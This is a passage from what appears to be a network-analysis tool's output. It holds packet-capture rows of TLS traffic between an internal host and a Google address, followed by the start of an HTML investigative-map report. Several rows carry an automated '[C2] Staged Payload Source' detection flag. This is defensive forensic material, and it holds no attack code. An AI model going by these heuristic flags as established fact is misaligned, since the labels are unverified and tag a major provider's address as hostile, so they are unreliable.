cf243cd835c9bf546301cbbf8ef9b22c0a7554126efdfe30c8a0d1b4f7c508765708631f320740f7ec2e8651f3aaf169513e16749b0e3cc04d259e3c0aa4bf44f4b0f83a839ad2a977a55b161a2abf49357ccacb4083fd916d46a8d46d7a2c8981b181ebe58b9e362aedda15119135e8904cc1df899ad0e0c79aa0504924c74bb03721643e3b35c65f57110857d2d0f8891c929bd749afe0a298e348720367e8cb6292d500ef93f08e069f5bb3becf96394fa28c4fe444c5b2f74f810785a83177038a8185a40ada91ac1a5f90189dbe4121fa2e605418acda2bb966b04307ac75f586865f822ddb4be49d1968cd50ec345d9876a9845dcc79c3255ae79733964eb09dd8a6f61f8290ab585dc1fa5327c59d650c0fbd0719901acdb573182803e79736c3c8288f6ef8252143368187d022172d06584fcb85cea27dee649def87297006aca63459fc0eac39dc8fc1fc7ca1639278392f3579d039f972923ee3ca117a6c52ac9fc0f13ff99c7ea310df153487fe59c2d7d4bd30db64bb46d4eaa642cb2df18e26b41889905dd8fff93ce58e5c19bf9de4340cf1703030573a59169d6370b56412aefbb1438a05e7f48637c78a6e3bf527a4c27a5ce7c5dd3acef3d900029affc49205f049bb13a956168768e80c292f39d5c197b312b534fce28bafc79c3ad25edbbddaa0dce630ce4ccab0491f5b2c3da05a1fd87ac8e9625ca9e7873ee844adb497e4e0ac69ec9fabd765e29601ee8a52dc6da251ce3f0c5719cf19f32cd3801706c4147f30c31faf40e1add3df997f3302c9409f50a0aa75e9a83bc2eb9f5fddc205b4ea06879d9edaa3eb71e9f69e19e8c06d1c2260a20db2b6557e62dee3c97322cdf8e3ca71d380e79b638efa535cb814553d9af5c9e7d9ad76aea0abaebbefbd47754aae0cdc453b5fc482ca0d60ad7953f471e57e6d6cc463ca758c2dccbea904c8da4f0a82a5ff9559a0ad94d56976678ed7a3043e0917b1786447b55fd5995f29162a64a9e1955bedfb37173d735b086ec3f85ccb5b93f072958861199be7a6ceba9d8e51a9ad54a1ad016d5880919588e73008117da0a316f1fd761ba68e7117f8a91f5c0c507ee427b220ce95c495b4f87bb70ef01639bdb8c28b934b6b10ad94a6100185b827176f98bef60dfc5f898ea5ec8f24c0747da737676817fb587dfac0bd9b85db9aa195f605daa3432d2418190ea5f87aa6fcd3560c012aa85b411e217b64d8efa7fadca260ea73c81315bee34c1e69aa36aacd68fb00a505245c3050c2a928f0777c95c2b5d3f73d71dafde014cf87db624f6339fbc953421e7c9541fb0cf8980f051d116c106d0b7dfd6a08875bb224a01a9ec67bbb524370510ff86f370a6c41260e0b134f0be995fd0f6b4a2c785472aea5edd53d30447dbc4c648141e5eddfc356a7cf419bdeaa3b7261f545792162f82fa3c437c4fda759877e144e093c587bd9da00fb811803e4346069a23398c790728e236dfe2cf96668809f557968557b3ec26c9f48da0d2f1578e1d281cb75c42c137d396e4a1550a046a69f534a4999c6f89dd34dd06ce2a79d4722951554690181078d145099989b311b23faefa7361ba9328e09b88fc1df127dfed467dfee7ac2e5c1a615e254711f805d65c73c65e7683b645264839329a3ff17401bde3fe49d745f5786fcca09e637bb51ba227ba7ab45670cfd3f14a96fd72b897bbe0bd43f886610f7d048d6d28a0a3f6165c80bef2f3a6a93a1a54ce07ca907addae62fded37c89ef11f1942bc6eb82c03c830ebb42e5c3fb9a33c8c4990cb26327fab7bf6722742cbf4f1940d71b0e833e3a30eaa0cb13931ae5296388250766ef9a6973bd29a2b642d4bd7ef490d30e5a88517a75607ed288abb990432fed9130ba429aa7c32c88e3d5e73cf6ead29fa6dbb4aa01633f1f65b920dfacfb7632c19866860a1d61c92a718629fe59d9528ef2c917f1077d8eb082aa3910ad84658ee92bb7b3b4a725f0fa25cb44b3f1b404dc1998a80f2e67079d0d2900793780170ef681461202b198259bd21bf9638f8be561d17353368ca713fff2cefdef1589f551cee16794b45954a9150cb603b9a5f0a323bd53b0f771bb1571a93445d53d305cbbd1610f8cfa4ba71fe7e7c30360b24c81dee66b34da3a8fc3fa09927f48601bc0bc837c9fb233979d262b2b8ce7bda0ca97c3ebae45ba1d147181dbae32815f480e9ecffdaf4b8ddd73b432cf7ad46a2a4288e6c33be3cea91ce3b52d8a038d75562b33b5739399e1f303e1ff776c29b2fdcbad31da24f48631af6514c9b191301f0f6c9e4221ad23a679ee971869c2d017c82f8f58be14249a7787fb06b0a95ae7d42e9ba7f98b4e1a65ad474ca5a8bf5c13010fa0c2594170f5dea98d8ad93cbe3730f460f06219522d8cbf3d0e8dc76af1f8470b48534c1f08131282cee0bf0279162c6e082aaa12acb8a96200e49b35731d582a213ff85536e81c9e5d3b0292a25dd438bf8806887edec0ce6f175b1c71f885e572f02e6af1440e528afc4bfd5d4037f576c5ad11ea90a170303034fe9b71f7e496c79c01aac7bae85572954a659fc7ceba86140d027af4aedc7f0cb820540edc946441eb89261ed2aacc1a702d1659854fae8a9909154dc78e0062966740324b9e0a006d74b2ca2bb8a98f5786c276297aa740947a0075e1e0783654e0250b29e1e017a7f67635005866ca06d5080838e6616634fced7fe32e78f5e3558da1cab95de98b54a9e7dc707360ae3efda389baf3839c19b0f6d51946fad31bb83eb7dda488780663ce0da8630a380cf4adce4a0dce3debd95a2e084d8137df32c44fb5c3b505173273c6e9c3368035f406407105fc5d84207df66ea758a4e63b94df561305034e51f03b426915a51e1761e2774bffa19e65eb707bb6d8045e344c591cfd9d9a891ed8041a79a99aa733d6ec1aa8940b1cd72f9b8df7a5c34349e01c7e582f0c655b4c1b93c0ba16ac60dfd8c310d2ccf2d9761a3aee1f8ec1014191b298eda8f288ff5c29b6b2344686129d045211e747182d32092578246aa7e6d4f4430570367c760cd7da800349e615be0f40faf1d2a1b5cd1c667748a96f3ed19ee31d38e262f122ec9787c812f28b90588c0f91a19496e4d53512c370e28b5b412496779fe002b18793a80d3dd2ce703faa01fd328382a4e72d8507a6d6a7f2757434fd7f63ec73cc8ea37720fe0f7356397c6ce052b5e9d8e44518344965eb615eb80dfbb2ce368c74bcf42245e726ab0141ab6801e0cbd158485e3a4a9c9306ec4736513d4dba245074316a28c3d4fb714d1df85f15bc46a212e13b255104e46f727117552b00870119fa6541fdc696fbf57fd6d255ba840d923a4d766bd8e3b5194d2bfaa71de224b1b7a625dd44d4989546cbcb4\"\"}}]\"\n2026-07-19 08:08:16.554607,31,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755294593 Ack=2455740284,bc24112907bbbc2411360d0c0800450000288a1c400080062c100a98980bd83ac9c5f9ce01bba43a7581925f9f7c5010201403fb0000,\".$.)...$.6\n...E..(..@...,.\n....:.......:u.._.|P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35356, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11280, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294593, \"\"ack\"\": 2455740284, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 1019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.554614,32,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2455740284 Ack=2755294593,bc2411360d0cbc24112907bb080045000030a7e3400040064e41d83ac9c50a98980b01bbf9ce925f9f7ca43a75815018003d44c60000770322a725bcd955,\"w.\"\".%..U\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 48, \"\"id\"\": 42979, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20033, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455740284, \"\"ack\"\": 2755294593, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 17606, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"770322a725bcd955\"\"}}]\"\n2026-07-19 08:08:16.554677,33,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755294593 Ack=2455740292,bc24112907bbbc2411360d0c0800450000288a1d400080062c0f0a98980bd83ac9c5f9ce01bba43a7581925f9f845010201403f30000,\".$.)...$.6\n...E..(..@...,.\n....:.......:u.._..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35357, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11279, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294593, \"\"ack\"\": 2455740292, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 1011, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.595731,34,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2455740292 Ack=2755294593,bc2411360d0cbc24112907bb08004500032fa7e4400040064b41d83ac9c50a98980b01bbf9ce925f9f84a43a75815018003d47c5000074b7f9fb26f911a73f6f222bbf6d58b5a29d0499e52e4f3cc754f77a9e5a1dd580844ba1c82b0896bfb94fc4c067b47efc80847e4dcbda6c602d6c81505e6da633766c8ca93516b6a2106af543255a9fa4d6239ca38fe75f2d504c6b5b11b24b4836c40c2e6181dcb0cd9246d6b30b39ea0cab163f518f9cbfb7ad75b489b98acf99ff0a30f7c0c972eea905adb87757961a0d3e5dea4d36491c1520ea0de20fa4177c506d17c185c85b72f60069e71f26aeb96c2a7ec6beb14750b8164608bf575c6b0fe7768f29c3b4f04f8e2d50fa84479e331fbb56807146a5d22dd8cee187b281f57833525bf7f546951703030139d205b719962ea1fe26118f646c7757c42aea80b08893dd9292b50f7d059b67a84b7315f6aaa98a14a4682cd78423970979424f0d12c79932648b08db21455e9b77fcfb581769e7620716c217604829c5706b5d3de5c9888ef0e20b4f1e01d81b71c1f6f4353c6089c9b1c0ecfdf703aa2d9a91eae228a68b08900a20ae70012c7205344714d2849421bf9af2c808c237e503d47e10cf7d18e65a4cc143b1a529eb85758eee4a6dabecb3283006d25a5cf362287640b5d15a1e7408e7391cd40733e5918991c20478ffe937dafbd0d5c85777fedf9f8bdc7c513d0a2f5d3691540ddbe5274289fb4537c35f54245bb12e0d692a739640a78406786f6aeaa8cba62751cbe4edaf5664da2a9404f6f998e2f394fc0321508e08ab57b778512fa3ad7f8e18d6513508d74150db37ba54f39f10de5c5a70f41e49a517030300b14c365ea4dba6c966417c9c063153fc8abc874db7a1988c1f9aab655caf85ee7e9ce97931eb2e62a931dc1c25ed73321bfd5ddbe54403e9a1e9c066d04cc5ec25067e1121a8e6effccf5a60893fcceb5371a0d2a89acc31df5c68de0cadc11a20f11a60f0945ce4cf6e01030a74471eb879c1c9b5a417cf57c729f1ae996ad9ee1d4023c4abc4654ce2b27b73529d4d9aec18256db507fcc3747b823921e85797e27f9abd5ed79ca1918576d6e332b1b3c01703030022c7195f71af4800f160c4983bc4ec61ae9e158830a2d30069fb2ec9785d89b7990da4,\"t...&...?o\"\"+.mX.......O<.T.z.Z....K..+....O..g.~...~M..l`-l.P^m.3vl..5....j.C%Z...#...._-PLk[..KH6...a.....F...9....?Q.....u.......\n0...r.....wW..\n>].M6I.. .\n....|Pm....[r..i..&..l*~...GP..F..W\\k..v.)...O.-P..G.3..V.qF..-.......x3R[..F.....9........&..dlwW.*..........}..g.Ks.......h,..#.\tyBO\n...2d...!E^.w..X.i.b....`H).pk]=.......O....q...5<`.........-....(....\n .p.,r.4G....!......7...~..}..ZL.C..)..u..Jm...(0..Z\\.b(v@..Z.t..9...3......x..7.....Ww.....|Q=\n/]6.T\n..'B..E7._T$[..\ni*s.@...xoj....'Q....Vd.*..........!P...W.xQ/......Q5..AP.7.T....\\Zp..I......L6^....fA|..1S....M.......e\\...~..y1..b.1..%.s2..]..D.....f.L..%.~.!.....Z`.?..Sq.....1.\\h..... ..`..\\..n..\ntG..y......W.)...j...@#...eL..{sR.M...%m....t{.9!.W.....^.....v..2.......\"\".._q.H..`..;..a....0...i...x]...\n.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 815, \"\"id\"\": 42980, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19265, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455740292, \"\"ack\"\": 2755294593, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 18373, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"74b7f9fb26f911a73f6f222bbf6d58b5a29d0499e52e4f3cc754f77a9e5a1dd580844ba1c82b0896bfb94fc4c067b47efc80847e4dcbda6c602d6c81505e6da633766c8ca93516b6a2106af543255a9fa4d6239ca38fe75f2d504c6b5b11b24b4836c40c2e6181dcb0cd9246d6b30b39ea0cab163f518f9cbfb7ad75b489b98acf99ff0a30f7c0c972eea905adb87757961a0d3e5dea4d36491c1520ea0de20fa4177c506d17c185c85b72f60069e71f26aeb96c2a7ec6beb14750b8164608bf575c6b0fe7768f29c3b4f04f8e2d50fa84479e331fbb56807146a5d22dd8cee187b281f57833525bf7f546951703030139d205b719962ea1fe26118f646c7757c42aea80b08893dd9292b50f7d059b67a84b7315f6aaa98a14a4682cd78423970979424f0d12c79932648b08db21455e9b77fcfb581769e7620716c217604829c5706b5d3de5c9888ef0e20b4f1e01d81b71c1f6f4353c6089c9b1c0ecfdf703aa2d9a91eae228a68b08900a20ae70012c7205344714d2849421bf9af2c808c237e503d47e10cf7d18e65a4cc143b1a529eb85758eee4a6dabecb3283006d25a5cf362287640b5d15a1e7408e7391cd40733e5918991c20478ffe937dafbd0d5c85777fedf9f8bdc7c513d0a2f5d3691540ddbe5274289fb4537c35f54245bb12e0d692a739640a78406786f6aeaa8cba62751cbe4edaf5664da2a9404f6f998e2f394fc0321508e08ab57b778512fa3ad7f8e18d6513508d74150db37ba54f39f10de5c5a70f41e49a517030300b14c365ea4dba6c966417c9c063153fc8abc874db7a1988c1f9aab655caf85ee7e9ce97931eb2e62a931dc1c25ed73321bfd5ddbe54403e9a1e9c066d04cc5ec25067e1121a8e6effccf5a60893fcceb5371a0d2a89acc31df5c68de0cadc11a20f11a60f0945ce4cf6e01030a74471eb879c1c9b5a417cf57c729f1ae996ad9ee1d4023c4abc4654ce2b27b73529d4d9aec18256db507fcc3747b823921e85797e27f9abd5ed79ca1918576d6e332b1b3c01703030022c7195f71af4800f160c4983bc4ec61ae9e158830a2d30069fb2ec9785d89b7990da4\"\"}}]\"\n2026-07-19 08:08:16.601930,35,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2755294593 Ack=2455741067,bc24112907bbbc2411360d0c08004500004f8a1e400080062be70a98980bd83ac9c5f9ce01bba43a7581925fa28b50182011ad5a0000170303002294f369aab1e39ecf66e6f20a8e183a7a8fb1685ad36ac64e9c3e9549cee282c5dc4b,\".$.)...$.6\n...E..O..@...+.\n....:.......:u.._..P. ..Z......\"\"..i.....f..\n..:z..hZ.j.N.>.I.....K\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 79, \"\"id\"\": 35358, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11239, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294593, \"\"ack\"\": 2455741067, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8209, \"\"chksum\"\": 44378, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 34, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x94\\\\xf3i\\\\xaa\\\\xb1\\\\xe3\\\\x9e\\\\xcff\\\\xe6\\\\xf2\\\\n\\\\x8e\\\\x18:z\\\\x8f\\\\xb1hZ\\\\xd3j\\\\xc6N\\\\x9c>\\\\x95I\\\\xce\\\\xe2\\\\x82\\\\xc5\\\\xdcK' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 08:08:16.601950,36,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2455741067 Ack=2755294632,bc2411360d0cbc24112907bb080045000028a7e5400040064e47d83ac9c50a98980b01bbf9ce925fa28ba43a75a85010003d44be0000,\".$.6\n..$.)....E..(..@.@.NG.:..\n........_...:u.P..=D...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42981, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20039, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455741067, \"\"ack\"\": 2755294632, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 61, \"\"chksum\"\": 17598, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:17.413787,37,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,FA,,,Ether > IP > TCP,3,TCP FA Seq=2755294632 Ack=2455741067,bc24112907bbbc2411360d0c0800450000288a1f400080062c0d0a98980bd83ac9c5f9ce01bba43a75a8925fa28b5011201100c70000,\".$.)...$.6\n...E..(..@...,\n....:.......:u.._..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35359, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11277, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294632, \"\"ack\"\": 2455741067, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8209, \"\"chksum\"\": 199, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:17.413826,38,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2455741067 Ack=2755294633,bc2411360d0cbc24112907bb080045000028a7e6400040064e46d83ac9c50a98980b01bbf9ce925fa28ba43a75a95011003d44be0000,\".$.6\n..$.)....E..(..@.@.NF.:..\n........_...:u.P..=D...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42982, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20038, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455741067, \"\"ack\"\": 2755294633, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 61, \"\"chksum\"\": 17598, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:17.414034,39,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755294633 Ack=2455741068,bc24112907bbbc2411360d0c0800450000288a20400080062c0c0a98980bd83ac9c5f9ce01bba43a75a9925fa28c5010201100c60000,\".$.)...$.6\n...E..(. @...,.\n....:.......:u.._..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35360, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11276, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294633, \"\"ack\"\": 2455741068, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8209, \"\"chksum\"\": 198, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:20.145350,40,TCP 10.152.152.11:63963 -> 208.95.112.1:80,10.152.152.11,208.95.112.1,63963,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,RA,,,Ether > IP > TCP,3,TCP RA Seq=3021013361 Ack=4068210249,bc24112907bbbc2411360d0c080045000028f11d4000800626ae0a98980bd05f7001f9db0050b4110171f27bf6495014000034580000,\".$.)...$.6\n...E..(..@...&.\n...._p....P...q.{.IP...4X..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61725, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 9902, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 80, \"\"seq\"\": 3021013361, \"\"ack\"\": 4068210249, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 13400, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n      